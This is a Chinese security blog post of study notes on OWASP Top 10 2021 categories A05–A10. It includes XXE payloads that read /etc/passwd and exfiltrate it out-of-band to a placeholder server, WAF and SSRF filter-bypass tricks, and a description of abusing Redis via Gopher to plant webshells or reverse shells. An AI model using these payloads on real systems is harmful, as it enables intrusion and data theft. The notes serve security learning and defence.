OWASP-Top-10-for-2021-学习笔记（下）

继续进行OWASP TOP 10部分的内容的学习，上半部分对前四种类型的分类进行了学习记录，这次继续对后面几种类型进行学习

A05 安全设定缺陷

简述

从2017版本中的第六名上升至2021最新版本中的第五名，90%的应用程序都被测试出各类明显的设定缺陷。随着越来越多的高度可配置软件出现，此类别的上升并不让人意外。与此类相对应的CWE包括：

  • CWE-16：配置 ：此类别中的弱点通常在软件配置期间引入。
  • CWE-611：对 XML 外部实体引用的不当限制：软件处理一个 XML 文档，该文档可能包含具有 URI 的 XML 实体，这些 URI 解析为预期控制范围之外的文档，从而导致产品在其输出中嵌入不正确的文档。（缓解措施：可以将许多 XML 分析器和验证程序配置为禁用外部实体扩展。）

描述

如果程序包含以下几个因素，则有可能容易受到攻击：

  • 在应用程序堆栈的任意部分缺少适当的安全加固，或者在云服务上配置了不适当的权限。
  • 不必要的功能被安装或者启用（比如不必要的端口、服务、页面、账户或者是权限）
  • 默认的账户和密码仍然是可用状态并且未作修改。
  • 错误处理向用户显示堆栈跟踪或其他信息过多的错误消息。
  • 对于已经升级的系统，之前的安全特性被禁用或者是没有安全地配置。
  • 应用服务、框架、库和数据库等的安全设置没有被设定成安全的值。
  • 服务器不发送安全头或指令，或者没有将它们设置为安全值。
  • 软件版本太旧或者本身存在漏洞。

如果没有一致的、可重复的应用程序安全配置流程，系统将面临更高的风险。

如何预防

应实施安全的安装过程，包括:

  • 可重复的安全加固过程使部署另一个适当锁定的环境变得快速和容易。开发、QA和生产环境都应该配置相同，在每个环境中使用不同的凭证。这个过程应该是自动化的，以减少设置新的安全环境所需的工作量。
  • 一个最小的平台，没有任何不必要的特性、组件、文档和示例。删除或不安装不使用的特性和框架。
  • 作为补丁管理过程的一部分，审查和更新适用于所有安全注释、更新和补丁的配置的任务，检查云存储权限（例如S3（Simple Storage Service，简单存储服务）存储桶，（S3为任意类型的文件提供临时或永久的存储服务。用于存储图片、视频、音乐和文档。S3是专为大型，非结构化的数据块设计的））
  • 分段的应用程序体系结构通过分段、容器化或云安全组(ACL)在组件或租户之间提供有效和安全的分离。
  • 向客户端发送安全指令，例如，安全头。
  • 在所有环境中验证配置和设置有效性的自动化过程。

攻击实例

情境 #1: 已经上线的程序服务器带有预设的样本程序没有移除，这个样本程序带有已知的安全缺陷，可被攻击者利用入侵服务器。比如预设的程序带有管理员页面，并且没有修改默认的管理员账号密码，攻击者可以使用预设的密码登录，并获得控制权。

情境 #2: 数据文件目录查看权限并未在服务器上关闭。攻击者可以找出并且下载已编译过 Java 代码，并且通过反编译与逆向工程等手法，查看原始代码。再通过源代码找出应用程序中严重的存取控制缺陷。

情境 #3: 程序服务器的设定中允许输出带有详细内容的错误信息，例如堆栈追踪，供用户查看。这有可能导致敏感讯息的外泄，或间接透露出使用中并带有脆弱性的组件版本。

情境 #4: 一个云端服务器，给其他在网际网路的 CSP 用户提供了预设权限分享，这将导致云端储存的敏感资料可以被存取。

XXE利用方式

1.有回显情况

结合外部实体声明（实体名称 SYSTEM ”uri/url“）和参数实体（% 实体名称 SYSTEM “uri-外部dtd”）有两种方式进行注入攻击

1
2
3
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

引用外部dtd：

1
2
3
4
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

evil.dtd：

1
<!ENTITY %evil SYSTEM "file:///ect/passwd">

2.无回显的情况

可以使用外带数据提取通道提取数据，先用file://获取目标文件内容，然后将内容以http请求等发送到接收数据的服务器

1
2
3
4
5
6
<!DOCTYPE updateProfile[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd，内部的%要进行实体编码成&#x25

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25 send SYSTEM 'http://xxx.xxx.xxx.xxx/?data=%file;'>"
>
%all;

XXE解析一般在导入配置、数据传输接口等场景会用到，涉及到XML文件处理的场景可以查看XML解析器是否禁用外部实体

防御：使用语言中推荐的禁用外部实体的方法

PHP：

1
libxml_disable_entity_loader(true);

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

绕过WAF

  1. 文档开头增加大量的空格
  2. 比较成熟的WAF设置通常不会读取链接文件的内容，因此可能不会解析指向未知实体的链接，阻止XML解析器导致错误
  3. xml文档有多种编码方式，可以用utf-8、utf-16、utf-32，使用不同的编码方式可能绕过WAF
  4. 在一个文档中使用两种编码

A06 危险或过旧的组件

简述

该弱点在产业调查中排名第二，有足够的资料让它进入前十。易受攻击的组件是我们努力测试和评估风险的已知问题，该弱点是在CWEs中唯一没有任何CVE对应的类别。著名的CWE包括：

描述

可能容易受到的攻击：

  • 如果不知道所使用的所有组件的版本(包括客户端和服务器端)。所有组件包括您直接使用的组件以及嵌套依赖项。
  • 如果软件是有漏洞的，不受支持的或者是老旧的。这包括操作系统、Web应用或服务器，数据库管理系统（DBMS）、应用、APIs以及所有的组件、运行时环境和库。
  • 如果没有定期扫描漏洞并订阅与所使用组件相关的安全公告。
  • 如果没有以基于风险的、及时的方式修复或者升级底层平台、框架或者依赖项。这种情况通常发生在修补是变更控制下的每月或每季度的任务，会导致面临几天或者几个月的固定漏洞的不必要的暴露。
  • 如果软件开发人员不测试更新、升级或打了补丁的库的兼容性。
  • 如果您不保护组件的配置（A05）

如何预防

以下场景应该有补丁管理流程：

  • 移除未使用的依赖、不必要的功能、组件、文件和文档。
  • 使用versions、OWASP Dependency Check、retirement .js等工具，持续盘点客户端和服务器端组件(如框架、库)的版本及其依赖性。持续监控组件中的漏洞来源，如常见漏洞和披露(CVE)和国家漏洞数据库(NVD)。使用软件组合分析工具来实现过程的自动化。订阅与所使用组件相关的安全漏洞的电子邮件警报。
  • 只能通过安全链接从官方来源获取组件。最好使用签名包，以减少包含修改过的恶意组件的机会（A08）。
  • 监视未维护或未为旧版本创建安全补丁的库和组件。如果不可能打补丁，请考虑部署虚拟补丁来监视、检测或保护所发现的问题。

每个组织都必须确保为应用程序或项目组合的生命周期制定监视、分类和应用更新或配置更改的持续计划。

攻击实例

情境 #1：组件通常是以与应用程序相同的权限去运行，因此任何组件中的缺陷都可能导致严重的后果。这种缺陷可能是偶然的（比如编程时的错误）或者是故意的（例如组件中的后门）

  • CVE-2017-5638：一个 Struts 2 远端程式码执行漏洞，可以在服务器上执行任意代码，已被归咎于重大漏洞。
  • 虽然物联网 (IoT) 设备通常很难或无法修补，但修补它们可能很重要。 （例如，生物医学设备）。

有一些自动化工具可以帮助攻击者找到未修补或配置错误的系统。例如，Shodan IoT 搜索引擎可以帮助您找到存在 2014 年 4 月未修补 Heartbleed 漏洞的设备。

A07 认证及验证机制失效

简述

之前被称为“被破坏的身份验证”，该类别从第二名下滑至第八名，其中著名的CWE包括：

  • CWE-297：对证书的不正确验证，主机不匹配：软件与提供证书的主机通信，但软件无法正确确保证书实际与该主机关联。
  • CWE-287：不正确的身份验证：当参与者声称具有给定的身份时，该软件不会证明或不充分证明该声明是正确的。例如：服务器没有限制登录尝试次数 、使用客户端不受信任的参数作为登录成功的标识。
  • CWE-384： 会话固定：在不使任何现有会话标识符无效的情况下对用户进行身份验证或以其他方式建立新的用户会话，使攻击者有机会窃取经过身份验证的会话。

描述

确认用户的身份、身份验证和会话管理对于防止与身份验证相关的攻击至关重要。如果应用程序满足以下条件，则可能存在身份验证弱点：

  • 允许自动攻击，例如凭据填充，其中攻击者拥有有效用户名和密码的列表。
  • 允许暴力破解或者其他自动攻击。
  • 使用默认的、强度弱的或者众所周知的密码，比如“admin/admin”
  • 使用弱或者无效的凭据恢复和忘记密码的过程，例如“基于知识的答案”，这些过程无法确保安全。
  • 使用纯文本、加密或弱哈希密码数据存储
  • 具有缺失或者无效的多重身份认证
  • 在URL中公开会话标识符
  • 成功登录后重用会话标识符
  • 不能正确的让会话ID失效。用户会话或身份验证令牌在注销或者处于非活动状态期间不会正确失效。

如何预防

  • 如果可能，请实施多重身份验证，以防止自动凭据填充、暴力破解和凭据被盗重用攻击。
  • 不要使用任何默认凭据进行交付或部署，特别是对于管理员用户。
  • 实施弱密码检查，例如针对前 10，000 个最差密码列表测试新密码或已更改密码。
  • 使密码长度、复杂性和轮换策略与美国国家标准与技术研究院 （NIST） 800-63b 在 5.1.1 节中针对“记住的机密”或其他基于证据的现代密码策略的指南保持一致。
  • 通过对所有消息结果使用相同的消息，确保注册、凭据恢复等对帐户枚举攻击进行强化
  • 限制或者逐渐延迟失败登录的尝试，但是注意不能拒绝服务。记录所有的错误，并在检测到撞库、暴力破解或者其他攻击时向管理员发出警报。
  • 使用服务器端、安全的内置会话管理器，该管理器在登录后生成具有高熵值的新随机会话ID。会话标识符不应位于URL中，应安全存储，并在注销、空闲和绝对超时后失效。

攻击实例

场景 #1：凭据填充，即使用已知密码列表，是一种常见的攻击。假设应用程序未实现自动威胁或撞库保护。在这种情况下，应用程序可以用作密码预言机，以确定凭据是否有效。

场景 #2：大多数身份验证攻击是由于持续使用密码作为唯一因素而发生的。一旦被认为是最佳实践，密码轮换和复杂性要求就会鼓励用户使用和重用弱密码。建议组织根据 NIST 800-63 停止这些做法，并使用多重身份验证。

场景 #3：应用程序会话超时设置不正确。用户使用公共计算机访问应用程序。用户无需选择“注销”，只需关闭浏览器选项卡即可离开。攻击者在一小时后使用相同的浏览器，并且用户仍经过身份验证。

A08 软件和数据完整性失效

简述

2021年新增的类别，侧重于在不验证完整性的情况下做出与软件更新、关键数据和CI/CD管道相关的假设。著名的CWE包括：

描述

软件和数据完整性故障与无法防止完整性违规的代码和基础结构有关。

这方面的一个例子是，应用程序依赖于来自不受信任的源、存储库和内容交付网络 （CDN） 的插件、库或模块。不安全的 CI/CD 管道可能会引入未经授权的访问、恶意代码或系统危害的可能性。最后，许多应用程序现在都包含自动更新功能，其中更新在没有充分完整性验证的情况下下载并应用于以前受信任的应用程序。攻击者可能会上传自己的更新，以便在所有安装上分发和运行。

另一个示例是，对象或数据被编码或序列化为一个结构，攻击者可以看到和修改该结构容易受到不安全的反序列化的影响。

如何预防

  • 使用数字签名或者类似的机制来验证软件或者数据是否来自预期的源且没有被更改。
  • 确保库和依赖项（如npm或者maven）正在使用受信任的存储库。
  • 确保使用软件供应链安全工具（如OWASP依赖关系检查）来验证组件是否不包含已知漏洞。
  • 确保有代码和配置更改的审查过程，以最大限度地减少恶意代码或者配置被引入软件管道的可能性
  • 确保CI/CD管道具有适当的隔离、配置和访问控制，以确保流经生成和部署过程的代码的完整性
  • 确保未签名或未加密的序列化数据不会在没有某种形式的完整性检查或数字签名的情况下发送到不受信任的客户端，以检测序列化数据的篡改或重放

攻击实例

情境 #1 不带签名的更新：许多家用路由器、机顶盒、设备固件等不通过签名固件验证更新。未签名的固件是攻击者不断增长的目标，预计只会变得更糟。这是一个主要问题，因为很多时候，除了在将来的版本中修复并等待以前的版本老化之外，没有其他机制可以修复。

情境 #2 不安全的反序列化：一个反应式应用程序调用 Spring Boot 微服务。程序设计师们试图确保他们的代码是不可变的。他们的解决方案是在双向所有请求讯息中包含序列化的用户状态。攻击者注意到“R00”Java 对象签名（在base64中）并使用 Java Serial Killer 工具(用来执行 Java 反序列化攻击)在应用程序服务器上获取远程代码执行权限。

情境 #3 SolarWinds 恶意更新：众所周知，某些国家会攻击更新机制，最近一次值得注意的是对 SolarWinds Orion 的攻击。该软体开发商拥有安全构建和更新完整性流程。尽管如此，这些流程仍被破坏并在几个月时间中向 18,000 多个组织送出高度针对性的恶意更新，其中大约 100 个组织受到了影响。这是历史上这一性质影响最深远和最重要的破坏之一。

A09 安全日志和监控失效

简述

安全记录及监控是业界调查结果 (#3)，由 2017 年的第十名稍微上升一名。记录及监控功能验证非常有挑战性，通常需要以访谈或询问的方式检验有无侦测渗透测试的攻击活动。此类别的CVE / CVSS数据不多，但检测和响应违规行为至关重要。尽管如此，它对问责制，可见性，事件警报和取证可能非常有影响力。著名的CWE包括：

描述

此类别旨在帮助检测，升级和响应活动的违规行为。如果没有日志记录和监视，则无法检测到违规行为。日志记录、检测、监视和主动响应不足，在以下情况下可能会发生：

  • 不会记录可审核的事件，如登录、失败的登录和高价值事务。
  • 警告和错误不会生成、不充分或不明确的日志消息。
  • 不会监视应用程序和 API 的日志是否存在可疑活动。
  • 日志仅存储在本地。
  • 适当的警报阈值和响应升级过程尚未到位或无效。
  • 动态应用程序安全测试 （DAST） 工具（如 OWASP ZAP）的渗透测试和扫描不会触发警报。
  • 应用程序无法实时或近乎实时地对主动攻击检测、升级或发出警报。

如果日志记录和警报事件对用户或攻击者可见，还会容易受到信息泄漏的影响（参阅A01：无效的访问控制）

如何预防

取决于应用风险，开发人员应实现以下部分或者全部控件：

  • 确保所有登录、访问控制和服务器端输入验证失败都可以记录在足够的用户上下文中，以识别可疑或恶意帐户，并保留足够的时间以允许延迟取证分析。
  • 确保日志管理解决方案可以轻松使用的格式来生成日志
  • 确保日志格式数据编码正确，以防止日志记录或监视系统进行注入或攻击。
  • 确保高价值事务具有完整性控制的审计跟踪，以防止篡改或者删除，例如使用append-only数据库表
  • DevSecOps 团队应建立有效的监视和警报，以便快速检测和响应可疑活动。
  • 建立或采用事件响应和恢复计划，例如美国国家标准与技术研究院 （NIST） 800-61r2 或更高版本。

有一些商业的或者开源的应用保护框架例如OWASP ModSecurity Core Rule Set，以及开源的日志关联软件，例如Elasticsearch, Logstash, Kibana (ELK) stack，拥有功能自定义仪表盘和警报。

攻击实例

场景 #1：由于缺乏监控和日志记录，儿童健康计划提供商的网站运营商无法检测到违规行为。外部方通知健康计划提供者，攻击者访问并修改了超过 350 万名儿童的数千份敏感健康记录。事后审查发现，网站开发人员尚未解决重大漏洞。由于没有对系统进行日志记录或监控，数据泄露可能自2013年以来一直在进行，为期七年多。

场景 #2：印度一家大型航空公司的数据泄露涉及数百万乘客十多年的个人数据，包括护照和信用卡数据。数据泄露发生在第三方云托管提供商处，该提供商在一段时间后通知了航空公司。

场景 #3：一家大型欧洲航空公司遭受了GDPR应报告的违规行为。据报道，该漏洞是由攻击者利用的支付应用程序安全漏洞引起的，攻击者收集了超过400，000条客户支付记录。该航空公司因此被隐私监管机构罚款2000万英镑。

A10 服务端请求伪造（SSRF）

简述

此类别是从前 10 名社区调查 （#1） 中添加的。数据显示，发生率相对较低，测试覆盖率高于平均水平，漏洞利用和影响潜在评级高于平均水平。CWE示例如下：

  • CWE-918： 服务器端请求伪造：Web 服务器从上游组件接收 URL 或类似请求，并检索此 URL 的内容，但它不能充分确保将请求发送到预期的目标。

描述

每当 Web 应用程序在未验证用户提供的 URL 的情况下获取远程资源时，就会发生 SSRF漏洞。它允许攻击者强制应用程序将精心编制的请求发送到意外的目标，即使受到防火墙、VPN 或其他类型的网络访问控制列表 （ACL） 的保护也是如此。

由于现代 Web 应用程序为最终用户提供了方便的功能，因此获取 URL 成为一种常见方案。因此，SSRF的发生率正在增加。此外，由于云服务和架构的复杂性，SSRF的严重性越来越高。

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

如何预防

开发人员可以通过实现以下部分或全部深度防御控制来阻止 SSRF：

从网络层

  • 将远程资源访问功能分段到单独网络中，减少SSRF的影响
  • 强制实施“默认拒绝”防火墙策略或网络访问控制规则，以阻止除基本 Intranet 流量之外的所有流量。
    • 根据应用程序建立防火墙规则的所有权和生命周期
    • 记录防火墙上所有已接受和阻止的网络流

从应用层

  • 清理并验证所有客户输入的数据
  • 使用白名单强制实施URL协议、端口和目标
  • 不要向客户端发送原始响应数据。
  • 禁用HTTP重定向
  • 注意URL一致性，以避免诸如DNS重新绑定和“检查时间，使用时间”（TOCTOU）竞争条件之类的攻击

不要通过使用黑名单或正则表达式来缓解 SSRF。攻击者拥有有效负载列表、工具和技能来绕过黑名单。

其他措施

  • 限制不能访问内网ip

  • 不要在前端系统上部署其他与安全相关的服务（例如OpenID）。控制这些系统上的本地流量（例如本地主机）

  • 对于具有专用和可管理用户组的前端，在独立系统上使用网络加密来考虑非常高的保护需求。

攻击实例

攻击者可以使用 SSRF 攻击受 Web 应用程序防火墙、防火墙或网络 ACL 保护的系统，使用以下方案：

场景 #1：端口扫描内部服务器 – 如果网络体系结构未分段，攻击者可以绘制出内部网络，并根据连接结果或连接或拒绝 SSRF 有效负载连接所用的时间确定内部服务器上的端口是打开还是关闭。

场景 #2：敏感数据泄露 – 攻击者可以访问本地文件或内部服务以获取敏感信息，例如 file:///etc/passwd和http://localhost:28017/ 。

场景 #3：访问云服务的元数据存储 – 大多数云提供商都有元数据存储，例如 http://169.254.169.254/。攻击者可以读取元数据以获取敏感信息。

场景 #4：危害内部服务 – 攻击者可以滥用内部服务进行进一步的攻击，例如远程执行代码 （RCE） 或拒绝服务 （DoS）。

场景 #5：如果通过端口扫描等方法发现目标主机上开放6379端口，则目标主机上很有可能存在Redis服务。此时，如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话，那我们就可以利用Gopher协议远程操纵目标主机上的Redis，可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等（先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等，然后将dbfilename（本地数据库文件名）设置为文件名你想要写入的文件名称，最后再执行save或bgsave保存，则我们就指定的目录里写入指定的文件了）。

SSRF常用的几种协议

file

使用file协议可以尝试进行的任意文件读取，file协议的格式为：file://文件路径

http

向目标发送http请求，由于get请求的参数是直接加在url里的，所以可以探测内网那些使用get请求即可攻击的应用。

dict

dict协议与http协议可用来探测内网的主机存活与端口开放情况。dict协议不支持换行符，没有办法进行换行，相当于一次只能执行一条命令，所以不能用来攻击那些需要交互的应用（比如需要认证的redis）。

Gopher

Gopher是Internet上一个非常有名的信息查找系统，它将Internet 上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处如果发起post请求，回车换行需要使用%0d%0a，如果多个参数，参数之间的&也需要进行URL编码
在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。

SSRF绕过姿势

@符号绕过

http://www.baidu.com@bing.com与http://bing.com请求是相同的。该请求得到的内容都是bing.com的内容，此绕过同样在URL跳转绕过中适用。根本原因是解析URL的时候规则的问题

点分割符号替换

多数用于钓鱼邮件绕过检测，在浏览器中使用句号、空格、点+空格等形式代替

本地地址多种表现形式

http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80

利用IP地址进制转换

转换成点分八进制或者点分16进制或整数IP地址

利用短网址

利用重定向

利用重定向搭建一个302跳转服务，访问302跳转到内网

DNS重绑定

DNS的解析原理大家都知道，域名->DNS服务器查询->返回IP地址，但是域名的持有者可以随时设置解析的IP，比如访问chujian521.github.io，解析域名为185.199.109.153，但是在第二次访问之前，我们故意把域名解析修改为127.0.0.1，用户第二次访问的时候就会解析到127.0.0.1，操作系统默认会保存一段时间的IP（也可以将TTL调低），之后就会重新请求DNS，对于浏览器来说，两次访问的都是同一域名，是符合浏览器的同源策略的，但是第二次访问解析到其他IP，调用到了其他资源。

1.服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP

2.对于获得的IP进行判断，发现为指定范围IP，则通过验证

3.接下来服务器端对URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务器返回的是内网地址

4.由于已经绕过验证，所以服务器端返回访问内网资源的内容

哪些语言会被DNS重绑定攻击？

  • Java默认不存在被DNS Rebinding绕过风险（TTL默认为10）（可能会有时间竞争？）
  • PHP默认会被DNS Rebinding绕过，TTL默认为0
  • Linux默认不会进行DNS缓存
  • 有些公共DNS服务器，比如114.114.114.114还是会把记录进行缓存，完全不按照标准协议来，8.8.8.8完全按照协议严格进行缓存
#Web安全
OWASP-Top-10-for-2021-学习笔记（下）
https://chujian521.github.io/blog/2022/10/17/OWASP-Top-10-for-2021-学习笔记（下）/
作者
Encounter
发布于
2022年10月17日
许可协议